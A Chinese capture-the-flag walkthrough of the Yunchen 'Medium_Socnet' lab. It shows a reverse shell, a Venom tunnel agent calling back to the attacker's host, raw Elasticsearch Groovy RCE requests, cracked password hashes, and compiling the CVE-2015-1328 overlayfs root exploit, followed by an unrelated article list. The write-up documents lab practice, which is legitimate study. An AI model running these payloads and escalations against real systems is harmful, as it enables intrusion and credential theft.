云尘靶场 Medium_Socnet 内网为docker 无站代理 不存在gcc的提权方式 解决ldd过高无法执行exp 指定so文件

首先我们可以通过 arp-scan 扫描当前内网中的存活

但是不知道为什么扫不出来 然后我们使用fscan可以获取存活

 这里大致扫描只开了22端口

所以我们使用nmap进行信息收集扫描

nmap -sS -sV -A -p- 172.25.0.13通过tcp 进行 版本服务扫描 并且检测系统版本 全端口

 

这里我们可以发现是通过python写的

或者我们如果只想测试端口 使用PortScan进行扫描

然后我们去访问 5000端口看看

这里提示我们输入代码执行 python 代码 所以我们看看能不能直接反弹shell

getshell咯

这里看题目

这是一个中等难度的靶机,其内部还有几个docker虚拟机,从而可以对内网部分有初步的涉及,比如内网信息收集、内网穿透、简单的横向移动等等。接入网络,自主探测发现仿真虚拟靶机,利用其上的漏洞,获得其root权限。提交john用户的密码作为答案。

可以想到有可能是docker虚拟机

快速判断是不是docker环境_怎么判断一个网站是不是docker-CSDN博客

查看是否为docker

ps -ef

确实很少

ls /.dockerenv

确实有

/proc/1/cgroup

全是docker 那么docker环境没跑了

这里在学习一下代理

内网代理

之前我使用的是Neo-reGeorg-5.1.0 但是这个需要为常见代码启的站 遇到无法在站中解析就不会了

这里学习一下

venom

Release Venom v1.1.0 · Dliv3/Venom · GitHub

首先我们开启服务 这里我是windows

.\admin.exe -lport 9999

然后开启服务 通过wget 下载到靶机中

chmod 777 agent_linux_x64
./agent_linux_x64 -rhost 10.8.0.6 -rport 9999

然后回到主机

showgoto 1socks 1080

这样我们就在1080开启了socks5代理

然后我们去链接

这里我们首先要知道 这个docker对应的内网ip是多少

ifconfig

172.17.0.3

我们去访问172.17.0.3:5000

发现是一样的

所以这里就是我们对应的内网ip了

我们要如何实现docker逃逸呢

首先我们需要探活

内网shell脚本探活

for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done

这里我们无法通过socks代理出ping 因为位于不同层 所以要么通过反弹shell 获取ping

要么代理出来 nmap 但是我nmap扫除一大堆不是的 有可能是靶场的问题 所以我选择在反弹shell中 执行 shell脚本

这里获取了172.17.0.1,172.17.0.2,172.17.0.3这些ip

然后我们就可以通过nmap进行服务的扫描了

nmap -sV -sT 172.17.0.2 -Pn

获取到 一个 9200端口 开启 elasticsearch服务

ok咯

去搜个exp

然后复制进去进行python

wget上传 执行 发现报错request没有安装

pip install -t /usr/lib/python2.7/dist-packages/  requests

靶场问题无法联网安装

所以我们使用本地安装

https://www.cnblogs.com/Javi/p/9151629.html

https://www.cnblogs.com/rainbow-tan/p/14794387.html

这两个文章就可以实现下载了

然后执行

python 36337.py  172.17.0.2

getshell

这里我无法实现 所以我选择手动复现

先创建一个数据来保证存在数据

POST /website/blog/ HTTP/1.1
Host: 172.17.0.2:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25{"name": "test"
}

其次就是执行命令

POST /_search?pretty HTTP/1.1
Host: 172.17.0.2:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}

发现存在passwords 看看是啥

整理出来

john:3f8184a7343664553fcb5337a3138814 ---->1337hack
test:861f194e9d6118f3d942a72be3e51749 ---->1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b---->1111pass 
root:b3d34352fc26117979deabdf1b9b6354 ---->1234pass    
jane:5c158b60ed97c723b673529b8a3cf72b ---->1234jane

md5爆破网站看看

依次通过ssh链接看看

最后通过john 的账号密码成功登入

提权

现在我们需要提权

首先看看内核

uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

查找看看

searchsploit 3.13.0 linux

提取出来

这里有个问题 因为机器不一样 所以so文件也不会相同

所以我们无法保证 靶机上也存在相同的os文件 并且靶机也不存在gcc

所以我们需要把exp和so一同传递上去

先修改源代码

删除这里(这里注释)

然后gcc打包

gcc -o exp 37292.c 

然后我们去定位so文件

find / -name ofs-lib.so 2>/dev/null或者locate ofs-lib.socp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so /mnt/c/Users/Administrator/Desktop/

然后我们直接上传到tmp

赋权执行

 这里报错了 这里说明我的 kali中动态链接库太高了 这里我们可以使用

ldd --version

确定靶机ldd 然后去下载 解压 并且在编译的时候选择

gcc -o exp 37292.c -Ldir  /mnt/c/Users/Administrator/Desktop/ldd-2.19/libc6_2.19-0ubuntu6_amd64/data/lib/x86_64-linux-gnu/libc.so.6

然后传赋权即可

chmod +x exp./exp

成功咯

所以flag就是 1337hack

我觉得最主要的是解决了 靶机上无法执行命令获取exp的方法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/163771.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

王干娘和西门庆-UMLChina建模知识竞赛第4赛季第18轮

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集 参考潘加宇在《软件方法》和UMLChina公众号文章中发表的内容作答。在本文下留言回答。 只要最先全部答对前3题,即可获得本轮优胜。 所有题目的回答必须放在同一条消息中&…

MicroPython ESP32 RTC功能使用介绍

MicroPython ESP32 RTC功能使用介绍 📌Micropython esp32官方文档介绍:https://docs.micropython.org/en/latest/esp32/quickref.html#real-time-clock-rtc🔖本示例基于Thonny平台开发。🌿使用ESP32S3开发板测试。✨所使用的固件版…

华为防火墙基本原理工作方法总结

防火墙只会对tcp首包syn建立会话表,其它丢掉,如synack,ack udp直接建立会话表 icmp只对首包请求包建立会话表,其它包,如应答的不会建立直接丢掉 防火墙状态查看: rule name trust_untrust source-zone tru…

Texlive安装

下载4.8G的iso文件 解压 或 装载后,以管理员身份运行(.bat)文件。 运行以下两句代码进行Texlive相关升级 tlmgr option repository otan tlmgr update --self --all 运行以下三行代码,检查是否安装成功 latex -v xelatex -v pdflatex -v 如果有异常…

Linux网络编程03

select的缺陷 (1)fd,set的本质是一个位图,容量是固定的1024,因此最大只能监听1024个连接 (可以扩容) (2)监听和就绪用的是同一个数据结构,使用困难 (3&#x…

【GitHub】Watch、Star、Fork、Follow 有什么区别?

目录 一、前言二、区别1. Watch2. Star3. Fork4. Follow 一、前言 GitHub 是最受欢迎的代码托管平台之一,拥有大量的开源代码可供学习。 Github 中也有类似 “点赞”、“收藏”、“加关注” 的功能。 下面介绍下,GitHub 中 Watch、Star、Fork、Follow 有…

云服务器哪家便宜靠谱 | 简单了解亚马逊云科技发展史

云服务器哪家便宜又靠谱呢?为什么说亚马逊云科技在这道题答案的第一行,一篇故事告诉你。 1994年,杰夫贝索斯在西雅图创建了亚马逊,最初只是一个在线书店。 1997年,亚马逊在纳斯达克交易所上市,成为一家公…

10 路由协议:西出网关无故人,敢问路在何方

1.网络包出了网关之后,就有了一种漂泊的悲凉感 2.之前的场景是比较简单的场景,但是在实际生产环境下,出了网关,会面临着很多路由器,有很多条道路可以选。 3、如何配置路由? 路由表的设计 1.路由器就是一…

技术分享 | Selenium多浏览器处理

实战演示 Python 版本 #导入依赖 import os from selenium import webdriverdef test_browser():#使用os模块的getenv方法来获取声明环境变量browserbrowser os.getenv("browser").lower()#判断browser的值if browser "headless":driver webdriver.Ph…

C# 继承,抽象,接口,泛型约束,扩展方法

文章目录 前言模拟需求场景模拟重复性高的需求初始类结构继承优化抽象类 需求1:打印CreateTime方法1:使用重载方法2:基类函数方法3:泛型约束方法3.1:普通泛型方法方法3.2:高级泛型约束,扩展方法…

简单工厂模式、工厂方法模式、抽象工厂模式

简介 将实例化代码提取出来,放到一个类中统一管理和维护,达到和主项目依赖关系的解耦,从而提高项目的扩展性和维护性。 工厂模式将复杂的对象创建工作隐藏起来,而仅仅暴露出一个接口供客户使用,具体的创建工作由工厂管…

OJ中常用平衡树,Treap树堆详解

文章目录 Treap定义Treap的可行性Treap的构建节点定义旋转左单旋右单旋旋转的代码实现 插入插入的代码实现 删除遍历查找Treap对权值的扩展Treap对size的扩展扩展size域后的节点定义和旋转,插入,删除操作查询第k小的元素求元素的排名 查询后继、前驱Trea…